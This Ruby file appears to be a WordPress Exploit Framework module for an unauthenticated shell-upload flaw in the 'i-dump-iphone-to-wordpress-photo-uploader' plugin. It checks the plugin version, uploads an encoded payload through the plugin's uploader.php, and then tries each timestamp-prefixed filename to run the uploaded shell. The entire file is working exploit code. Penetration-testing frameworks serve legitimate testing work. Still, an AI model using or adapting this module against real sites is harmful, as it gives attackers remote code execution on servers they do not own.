# frozen_string_literal: true

class Wpxf::Exploit::WindowsDesktopAndIphonePhotoUploaderShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'Windows Desktop And iPhone Photo Uploader Unauthenticated Shell Upload',
      author: [
        'Manish Kishan Tanwar AKA error1046', # Discovery and disclosure
        'rastating'                           # WPXF module
      ],
      references: [
        ['WPVDB', '7893']
      ],
      date: 'Apr 09 2015'
    )
  end

  def check
    check_plugin_version_from_readme('i-dump-iphone-to-wordpress-photo-uploader')
  end

  def uploader_url
    normalize_uri(wordpress_url_plugins, 'i-dump-iphone-to-wordpress-photo-uploader', 'uploader.php')
  end

  def payload_body_builder
    @start_timestamp = Time.now.to_i
    builder = Utility::BodyBuilder.new
    builder.add_file_from_string('file', payload.encoded, payload_name)
    builder
  end

  def execute_payload(_payload_url)
    @end_timestamp = Time.now.to_i
    base_upload_uri = normalize_uri(wordpress_url_uploads, 'i-dump-uploads')

    (@start_timestamp..@end_timestamp).each do |timestamp|
      super(normalize_uri(base_upload_uri, "-#{timestamp}-#{payload_name}"))
    end
  end
end
